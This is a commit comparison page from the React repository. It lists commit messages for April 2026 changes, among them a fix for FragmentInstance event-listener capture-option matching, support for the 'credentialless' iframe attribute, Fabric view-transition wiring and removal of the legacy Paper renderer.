Compare commits

...

83 Commits

Author SHA1 Message Date
Sebastian "Sebbie" Silbermann
561ed529b3 Fix formatting (#36332)
Some checks failed
(Shared) Manage stale issues and PRs / stale (push) Has been cancelled
(Runtime) Fuzz tests / test_fuzz (push) Has been cancelled
(Shared) Cleanup Stale Branch Caches / cleanup (push) Has been cancelled
(Compiler) Playground / Test playground (push) Has been cancelled
(Compiler) TypeScript / Discover yarn workspaces (push) Has been cancelled
(Compiler) TypeScript / Lint babel-plugin-react-compiler (push) Has been cancelled
(Compiler) TypeScript / Jest babel-plugin-react-compiler (push) Has been cancelled
(Runtime) Build and Test / Cache Runtime node_modules (push) Has been cancelled
(Runtime) Build and Test / Cache Runtime, Compiler node_modules (push) Has been cancelled
(Runtime) Build and Test / Discover flow inline configs (push) Has been cancelled
(Runtime) ESLint Plugin E2E / ESLint v10 (push) Has been cancelled
(Runtime) ESLint Plugin E2E / ESLint v6 (push) Has been cancelled
(Runtime) ESLint Plugin E2E / ESLint v7 (push) Has been cancelled
(Runtime) ESLint Plugin E2E / ESLint v8 (push) Has been cancelled
(Runtime) ESLint Plugin E2E / ESLint v9 (push) Has been cancelled
(Shared) Lint / Run prettier (push) Has been cancelled
(Shared) Lint / Run eslint (push) Has been cancelled
(Shared) Lint / Check license (push) Has been cancelled
(Shared) Lint / Test print warnings (push) Has been cancelled
(Compiler) TypeScript / Test ${{ matrix.workspace_name }} (push) Has been cancelled
(Runtime) Build and Test / Flow check ${{ matrix.flow_inline_config_shortname }} (push) Has been cancelled
(Runtime) Build and Test / Confirm generated inline Fizz runtime is up to date (push) Has been cancelled
(Runtime) Build and Test / Check flags (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=development --persistent (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=development --persistent (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=development --persistent (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=development --persistent (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=development --persistent (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=development (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=development (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=development (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=development (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=development (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=production (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=production (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=production (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=production (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=experimental --env=production (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=development --persistent (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=development --persistent (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=development --persistent (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=development --persistent (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=development --persistent (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=development (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=development (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=development (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=development (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=development (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=production (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=production (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=production (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=production (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=stable --env=production (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=development --variant=false (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=development --variant=false (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=development --variant=false (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=development --variant=false (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=development --variant=false (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=development --variant=true (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=development --variant=true (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=development --variant=true (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=development --variant=true (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=development --variant=true (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=production --variant=false (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=production --variant=false (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=production --variant=false (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=production --variant=false (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=production --variant=false (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=production --variant=true (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=production --variant=true (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=production --variant=true (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=production --variant=true (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-classic --env=production --variant=true (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=development --variant=false (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=development --variant=false (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=development --variant=false (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=development --variant=false (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=development --variant=false (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=development --variant=true (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=development --variant=true (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=development --variant=true (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=development --variant=true (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=development --variant=true (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=production --variant=false (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=production --variant=false (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=production --variant=false (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=production --variant=false (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=production --variant=false (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=production --variant=true (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=production --variant=true (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=production --variant=true (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=production --variant=true (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=www-modern --env=production --variant=true (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=development --variant=false (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=development --variant=false (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=development --variant=false (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=development --variant=false (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=development --variant=false (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=development --variant=true (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=development --variant=true (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=development --variant=true (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=development --variant=true (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=development --variant=true (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=production --variant=false (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=production --variant=false (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=production --variant=false (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=production --variant=false (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=production --variant=false (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=production --variant=true (Shard 1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=production --variant=true (Shard 2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=production --variant=true (Shard 3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=production --variant=true (Shard 4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test -r=xplat --env=production --variant=true (Shard 5/5) (push) Has been cancelled
(Runtime) Build and Test / Test eslint-plugin-react-hooks (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 0) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 1) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 10) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 11) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 12) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 13) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 14) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 15) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 16) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 17) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 18) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 19) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 2) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 20) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 21) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 22) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 23) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 24) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 3) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 4) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 5) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 6) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 7) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 8) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (experimental, 9) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 0) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 1) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 10) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 11) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 12) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 13) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 14) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 15) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 16) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 17) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 18) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 19) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 2) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 20) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 21) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 22) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 23) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 24) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 3) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 4) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 5) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 6) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 7) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 8) (push) Has been cancelled
(Runtime) Build and Test / yarn build and lint (stable, 9) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (1/10, -r=experimental --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (1/10, -r=experimental --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (1/10, -r=stable --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (1/10, -r=stable --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (10/10, -r=experimental --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (10/10, -r=experimental --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (10/10, -r=stable --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (10/10, -r=stable --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (2/10, -r=experimental --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (2/10, -r=experimental --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (2/10, -r=stable --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (2/10, -r=stable --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (3/10, -r=experimental --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (3/10, -r=experimental --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (3/10, -r=stable --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (3/10, -r=stable --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (4/10, -r=experimental --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (4/10, -r=experimental --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (4/10, -r=stable --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (4/10, -r=stable --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (5/10, -r=experimental --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (5/10, -r=experimental --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (5/10, -r=stable --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (5/10, -r=stable --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (6/10, -r=experimental --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (6/10, -r=experimental --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (6/10, -r=stable --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (6/10, -r=stable --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (7/10, -r=experimental --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (7/10, -r=experimental --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (7/10, -r=stable --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (7/10, -r=stable --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (8/10, -r=experimental --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (8/10, -r=experimental --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (8/10, -r=stable --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (8/10, -r=stable --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (9/10, -r=experimental --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (9/10, -r=experimental --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (9/10, -r=stable --env=development) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (9/10, -r=stable --env=production) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (devtools) (1/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (devtools) (2/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (devtools) (3/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (devtools) (4/5) (push) Has been cancelled
(Runtime) Build and Test / yarn test-build (devtools) (5/5) (push) Has been cancelled
(Runtime) Build and Test / Process artifacts combined (push) Has been cancelled
(Runtime) Build and Test / Search build artifacts for unminified errors (push) Has been cancelled
(Runtime) Build and Test / Check release dependencies (push) Has been cancelled
(Runtime) Build and Test / Check fixtures DOM (stable) (push) Has been cancelled
(Runtime) Build and Test / Run fixtures Flight tests (push) Has been cancelled
(Runtime) Build and Test / Build DevTools and process artifacts (chrome) (push) Has been cancelled
(Runtime) Build and Test / Build DevTools and process artifacts (edge) (push) Has been cancelled
(Runtime) Build and Test / Build DevTools and process artifacts (firefox) (push) Has been cancelled
(Runtime) Build and Test / Merge DevTools artifacts (push) Has been cancelled
(Runtime) Build and Test / Run DevTools e2e tests (push) Has been cancelled
(Runtime) Build and Test / Run sizebot (push) Has been cancelled
(Runtime) Publish Prereleases Nightly / Publish to Canary channel (push) Has been cancelled
(Runtime) Publish Prereleases Nightly / Publish to Experimental channel (push) Has been cancelled
(Compiler) Publish Prereleases Nightly / Publish to Experimental channel (push) Has been cancelled
(DevTools) Regression Tests / Download base build (push) Has been cancelled
(DevTools) Regression Tests / Build DevTools and process artifacts (push) Has been cancelled
(DevTools) Regression Tests / Run DevTools tests for versions (16.0) (push) Has been cancelled
(DevTools) Regression Tests / Run DevTools tests for versions (16.5) (push) Has been cancelled
(DevTools) Regression Tests / Run DevTools tests for versions (16.8) (push) Has been cancelled
(DevTools) Regression Tests / Run DevTools tests for versions (17.0) (push) Has been cancelled
(DevTools) Regression Tests / Run DevTools tests for versions (18.0) (push) Has been cancelled
(DevTools) Regression Tests / Run DevTools tests for versions (18.2) (push) Has been cancelled
(DevTools) Regression Tests / Run DevTools e2e tests for versions (16.0) (push) Has been cancelled
(DevTools) Regression Tests / Run DevTools e2e tests for versions (16.5) (push) Has been cancelled
(DevTools) Regression Tests / Run DevTools e2e tests for versions (16.8) (push) Has been cancelled
(DevTools) Regression Tests / Run DevTools e2e tests for versions (17.0) (push) Has been cancelled
(DevTools) Regression Tests / Run DevTools e2e tests for versions (18.0) (push) Has been cancelled
2026-04-23 21:16:35 +02:00
Kotha Dhakshin
142cfde89e Fix FragmentInstance listener leak: normalize boolean vs object capture options per DOM spec (#36047)
## Summary

`FragmentInstance.addEventListener` and `removeEventListener` fail to
cross-match listeners when the `capture` option is passed as a
**boolean** in one call and an **options object** in the other. This
violates the [DOM Living
Standard](https://dom.spec.whatwg.org/#dom-eventtarget-removeeventlistener),
which states that `addEventListener(type, fn, true)` and
`addEventListener(type, fn, {capture: true})` are identical.

### Root Cause

In `ReactFiberConfigDOM.js`, the `normalizeListenerOptions` function
generates a listener key string for deduplication. The boolean branch
generates a **different format** than the object branch:

```js
// Boolean branch (old) — produces "c=1"
return `c=${opts ? '1' : '0'}`;

// Object branch — produces "c=1&o=0&p=0"
return `c=${opts.capture ? '1' : '0'}&o=${opts.once ? '1' : '0'}&p=${opts.passive ? '1' : '0'}`;
```

Because the keys differ, `indexOfEventListener` cannot match them — so
`removeEventListener('click', fn, {capture: true})` silently fails to
remove a listener registered with `addEventListener('click', fn, true)`,
and vice versa. This causes a **memory leak and event listener
accumulation** on all Fragment child DOM nodes.

### Fix

Normalize the boolean branch to produce the same full key format:

```js
// Boolean branch (fixed) — now produces "c=1&o=0&p=0" (matches object branch)
return `c=${opts ? '1' : '0'}&o=0&p=0`;
```

This makes both forms produce an identical key, matching the DOM spec
behavior.

### When Was This Introduced

This bug has been present since `FragmentInstance` event listener
tracking was first added. It became reachable in production as of
[#36026](https://github.com/facebook/react/pull/36026) which enabled
`enableFragmentRefs` + `enableFragmentRefsInstanceHandles` across all
builds (merged 3 days ago).

### Tests

Added two new regression tests to `ReactDOMFragmentRefs-test.js`:

1. `removes a capture listener registered with boolean when removed with
options object`
2. `removes a capture listener registered with options object when
removed with boolean`

Both tests were failing before this fix and pass after.

## How did you test this change?

Added two new automated tests covering both cross-form removal
directions. Existing tests continue to pass.

## Changelog

### React DOM
- **Fixed** `FragmentInstance.removeEventListener()` not removing
capture-phase listeners when the `capture` option form (boolean vs
options object) differs between `add` and `remove` calls.
2026-04-22 09:40:34 -04:00
vmx906
94643c3b85 Suggest correct casing for misspelled credentialless iframe attribute (#36322)
## Summary

Follow-up to #36148 (which added credentialless as a recognized boolean
attribute for iframes). Adds credentialless to possibleStandardNames so
React's dev warning can suggest the correct casing when users write it
as Credentialless (or another incorrect case). Includes an SSR test
asserting the "Did you mean credentialless?" warning fires.

 ## Test plan

- yarn test ReactDOMComponent passes, including the new should warn
about incorrect casing on the credentialless property (ssr) case
2026-04-21 10:33:45 +01:00
vmx906
306a01b4e0 Add credentialless as a recognized boolean attribute for iframes (#36148)
## Summary

The `credentialless` attribute is a boolean HTML attribute for
`<iframe>` elements that loads the iframe in a new, ephemeral context
without access to the parent's credentials (cookies, client
certificates, etc.). This change adds it to all boolean attribute
switch/case lists in React DOM so it is properly handled as a boolean
(set when true, removed when false) rather than being treated as an
unknown string attribute.

Per the [Anonymous iframe spec
(WICG)](https://wicg.github.io/anonymous-iframe/):

> The credentialless attribute enables loading documents hosted by the
iframe with a new and ephemeral storage partition. It is a boolean
value. The default is false.

```
partial interface HTMLIFrameElement {
  attribute boolean credentialless; 
};
```

Changes:
- ReactDOMComponent.js: Added to both `setProp` and
`diffHydratedGenericElement`
- ReactFizzConfigDOM.js: Added to `pushAttribute` for server-side
rendering
- ReactDOMUnknownPropertyHook.js: Added to both validation switch/case
lists

## Test plan

- Added unit test in DOMPropertyOperations-test.js verifying
`credentialless={true}` sets the attribute to `''` and
`credentialless={false}` removes it
- All tests pass in source and www channels (590 tests each)
- Flow type checking passes (dom-node renderer)
- Prettier and lint pass
2026-04-20 18:37:33 +01:00
Jack Pope
3ee1fe4a8e Fix contributor attribution for ESLint v10 support
Updated the changelog to reflect the correct contributor for the ESLint v10 support addition.
2026-04-20 11:40:34 -04:00
Zeya Peng
1ddff43c41 Add null check before calling fabricSuspendOnActiveViewTransition (#36310)
## Summary
- Adds a null check before calling
`fabricSuspendOnActiveViewTransition()` in the Fabric renderer's
`suspendOnActiveViewTransition` export
- Prevents crashes on hosts where `nativeFabricUIManager` does not yet
implement `suspendOnActiveViewTransition`

## Test plan
- Verified the change compiles correctly
- Hosts with `suspendOnActiveViewTransition` implemented continue to
work as before
- Hosts without `suspendOnActiveViewTransition` no longer crash when
view transitions are active
2026-04-17 13:21:41 -04:00
mofeiZ
d1727fbf98 [eprh] Update changelog for 7.1.1 (#36308) 2026-04-17 12:43:35 -04:00
mofeiZ
bc249804d3 [eprh] Add back a no-op for removed component-hook-factories rule (#36307)
The `component-hook-factories` rule was removed in #35825 as part of a
feature flag cleanup, but was listed in the README as part of the manual
config example. This broke users who used a manual config (copied from
the old README) in eslint-plugin-react-hooks 7.1.0. This adds back a
deprecated no-op rule as a fix.


#35825 removed other rules (`automatic-effect-dependencies` and `fire`),
but these were for experimental features that did not ship. These were
also not referenced in the README.
2026-04-17 12:31:24 -04:00
Sebastian "Sebbie" Silbermann
da9325b519 [Fiber] Double invoke Effects in StrictMode after Fast Refresh (#35962) 2026-04-17 18:14:50 +02:00
Sebastian "Sebbie" Silbermann
67e47593b6 [Fiber] Double invoke Effects in Strict Mode during Hydration (#35961) 2026-04-17 18:09:37 +02:00
Sebastian "Sebbie" Silbermann
23fcd7cea1 Minify prod error messages for all browser bundles (#36277) 2026-04-17 18:01:56 +02:00
Zeya Peng
bf45a68dd3 Remove legacy Paper renderer shim cleanup from artifact commit workflow (#36297)
## Summary

PR #36285 deleted the Paper (legacy) renderer, including the shim file
`scripts/rollup/shims/react-native/ReactNative.js`. However, the
`runtime_commit_artifacts` workflow still tries to `rm` this file after
moving build artifacts into `compiled-rn/`. Since the file no longer
exists in the build output, `rm` (without `-f`) fails and kills the
entire step.

This has caused **every run of the Commit Artifacts workflow to fail
since #36285 landed on April 16**, blocking both `builds/facebook-www`
and `builds/facebook-fbsource` branches from receiving new build
artifacts. This in turn blocks DiffTrain from syncing React changes into
Meta's internal monorepo.
2026-04-17 10:26:22 +01:00
mofeiZ
77319e2af0 [eprh] Update changelog for 7.1.0 (#36292) 2026-04-16 18:03:13 -04:00
Josh Story
4b073f4887 [Fizz] add additional task reentrancy protections (#36291)
The prior fix for finishedTask reentrancy solved an observed failure.
This change adds a bit of defensive bookeeping to protect against other
theoretical reentrant task finishing that might fail in simlar ways but
where we don't have a clear demonstration of the bug.
2026-04-16 14:15:06 -07:00
Zeya Peng
f6fe4275c7 Wire up createViewTransitionInstance and suspendOnActiveViewTransition in Fabric (#36196)
## Summary
- Wires up the native `fabricCreateViewTransitionInstance` call in
`createViewTransitionInstance` which will create a ShadowNode for old
pseudo element
- Extracts tag allocation logic into a shared `allocateTag()` function
exported from `ReactFiberConfigFabric`
  - Imports `allocateTag` in `ReactFiberConfigFabricWithViewTransition`
- Reuses `allocateTag()` in `createInstance` and `createTextInstance`
instead of inline tag incrementing
- Wires up native `fabricSuspendOnActiveViewTransition` call in
`suspendOnActiveViewTransition` which suspends another view transition
when the previous one is not yet finished

## Test plan
- Existing Fabric renderer tests should continue to pass
- ViewTransition instance creation now properly allocates a tag and
calls the native module
2026-04-16 16:59:54 -04:00
Zeya Peng
fe5160140d Wire up startViewTransitionReadyFinished in Fabric (#36246)
## Summary
- Imports `startViewTransitionReadyFinished` from
`nativeFabricUIManager` in `ReactFiberConfigFabricWithViewTransition`
- Calls `fabricStartViewTransitionReadyFinished()` when the view
transition `ready` promise resolves

This is not a config function, but it's helpful to have it notify fabric
ViewTransition runtime when ready callback is done. Right now we're
testing animation kicked off from view transition event handlers, this
is signal to know when animations that belong to a transition have all
started.

## Test plan
- Existing Fabric renderer tests should continue to pass
- View transition ready callback now notifies the native module when
finished
2026-04-16 16:41:05 -04:00
Josh Story
ea6792026f [Fizz] prevent reentrant finishedTask from calling completeAll multiple times (#36287)
It is possible for the fallback tasks from a Suspense boundary to
trigger an early `completeAll` call which is later repeated due to
`finishedTask` reentrancy. For node.js in particular this might be
problematic since we invoke a callback on each `completeAll` call but in
general it just isn't the right semantics since the call is running
slightly earlier than the completion of the last `finishedTask`
invocation. This change ensures that any reentrant `finishedTask` calls
(due to soft aborting fallback tasks) omit the `completeAll` call by
temporarily incrementing the total pending tasks.
2026-04-16 13:26:34 -07:00
Rubén Norte
56922cf751 [react-native-renderer] Delete Paper (legacy) renderer (#36285)
## Summary

The Paper renderer is no longer used in React Native. This commit
removes all remaining Paper source code, tests, build system references,
and Paper backward-compatibility branches in shared code.

Deleted Paper-only source files:
- ReactNativeRenderer.js, ReactNativeInjection.js,
ReactFiberConfigNative.js
- ReactNativeComponentTree.js, ReactNativeEventEmitter.js
- ReactNativeFiberHostComponent.js, ReactNativeGlobalResponderHandler.js
- ReactNativeAttributePayload.js, NativeMethodsMixinUtils.js
- ReactFiberConfig.native.js (reconciler fork)
- index.js (Paper entry point)

Cleaned up shared files:
- ReactNativePublicCompat.js: removed _nativeTag checks, UIManager/
legacySendAccessibilityEvent Paper fallbacks
- ReactNativeFiberInspector.js: removed getInspectorDataForViewTag,
UIManager.measure fallback, Paper branch in
getInspectorDataForViewAtPoint
- ReactFiberConfigFabric.js: removed _nativeTag backward compat in
getPublicInstance, removed getInspectorDataForViewTag from devtools
config
- ReactNativeTypes.js: removed ReactNativeType (Paper API type)

Cleaned up build system:
- inlinedHostConfigs.js: removed shortName 'native' config
- forks.js: removed dead 'react-native-renderer' case
